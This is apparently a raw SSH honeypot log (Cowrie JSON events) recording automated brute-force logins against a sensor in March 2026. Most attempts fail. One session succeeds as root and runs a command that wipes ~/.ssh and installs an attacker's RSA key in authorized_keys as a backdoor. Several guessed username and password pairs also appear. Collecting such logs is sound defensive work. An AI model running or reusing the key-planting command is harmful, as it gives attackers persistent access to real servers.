{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:54.046704Z","src_ip":"118.26.39.178","session":"e3735fafafc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"office","password":"officeoffice","message":"login attempt [office/officeoffice] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:54.956119Z","src_ip":"118.26.39.178","session":"e3735fafafc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:56.180526Z","src_ip":"118.26.39.178","session":"e3735fafafc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":54806,"dst_ip":"159.203.135.109","dst_port":22,"session":"401c805c3a49","protocol":"ssh","message":"New connection: 92.118.39.92:54806 (159.203.135.109:22) [session: 401c805c3a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:56.419638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:56.424596Z","src_ip":"92.118.39.92","session":"401c805c3a49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:56.532498Z","src_ip":"92.118.39.92","session":"401c805c3a49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git","message":"login attempt [git/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:56.834966Z","src_ip":"92.118.39.92","session":"401c805c3a49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:57.937098Z","src_ip":"92.118.39.92","session":"401c805c3a49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":56482,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae90d7ab0ea","protocol":"ssh","message":"New connection: 171.25.158.70:56482 (159.203.135.109:22) [session: 1ae90d7ab0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:20:42.722143Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:20:42.726479Z","src_ip":"171.25.158.70","session":"1ae90d7ab0ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:20:42.899892Z","src_ip":"171.25.158.70","session":"1ae90d7ab0ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rahul","password":"123","message":"login attempt [rahul/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:20:43.596328Z","src_ip":"171.25.158.70","session":"1ae90d7ab0ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:20:44.719195Z","src_ip":"171.25.158.70","session":"1ae90d7ab0ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":59044,"dst_ip":"159.203.135.109","dst_port":22,"session":"703503276613","protocol":"ssh","message":"New connection: 118.26.39.178:59044 (159.203.135.109:22) [session: 703503276613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:06.124260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:06.128977Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:06.347456Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Server123","message":"login attempt [root/Server123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:07.252559Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:07.728260Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:07.731522Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:07.735751Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:07.959155Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:08.431535Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:08.435149Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:08.659453Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:08.663855Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":59060,"dst_ip":"159.203.135.109","dst_port":22,"session":"e93719884fbf","protocol":"ssh","message":"New connection: 118.26.39.178:59060 (159.203.135.109:22) [session: e93719884fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:08.870550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:08.874328Z","src_ip":"118.26.39.178","session":"e93719884fbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:09.093176Z","src_ip":"118.26.39.178","session":"e93719884fbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:09.994612Z","src_ip":"118.26.39.178","session":"e93719884fbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:11.215008Z","src_ip":"118.26.39.178","session":"e93719884fbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":57916,"dst_ip":"159.203.135.109","dst_port":22,"session":"c34c5312a80e","protocol":"ssh","message":"New connection: 118.26.39.178:57916 (159.203.135.109:22) [session: c34c5312a80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:11.433269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:11.437649Z","src_ip":"118.26.39.178","session":"c34c5312a80e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:11.656763Z","src_ip":"118.26.39.178","session":"c34c5312a80e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:12.570684Z","src_ip":"118.26.39.178","session":"c34c5312a80e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:12.791489Z","src_ip":"118.26.39.178","session":"703503276613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:12.795991Z","src_ip":"118.26.39.178","session":"c34c5312a80e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43314,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3ef6e9cea1c","protocol":"ssh","message":"New connection: 195.178.110.218:43314 (10.17.0.5:22) [session: f3ef6e9cea1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:13.921180Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:13.999086Z","src_ip":"195.178.110.218","session":"f3ef6e9cea1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42026,"dst_ip":"159.203.135.109","dst_port":22,"session":"85e654496b2e","protocol":"ssh","message":"New connection: 92.118.39.92:42026 (159.203.135.109:22) [session: 85e654496b2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:15.999949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:16.005607Z","src_ip":"92.118.39.92","session":"85e654496b2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:16.110487Z","src_ip":"92.118.39.92","session":"85e654496b2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:16.511460Z","src_ip":"92.118.39.92","session":"85e654496b2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:17.616959Z","src_ip":"92.118.39.92","session":"85e654496b2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":51794,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c0a899c115b","protocol":"ssh","message":"New connection: 171.25.158.70:51794 (159.203.135.109:22) [session: 9c0a899c115b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:40.506974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:22:40.535346Z","src_ip":"171.25.158.70","session":"9c0a899c115b","protocol":"ssh"}
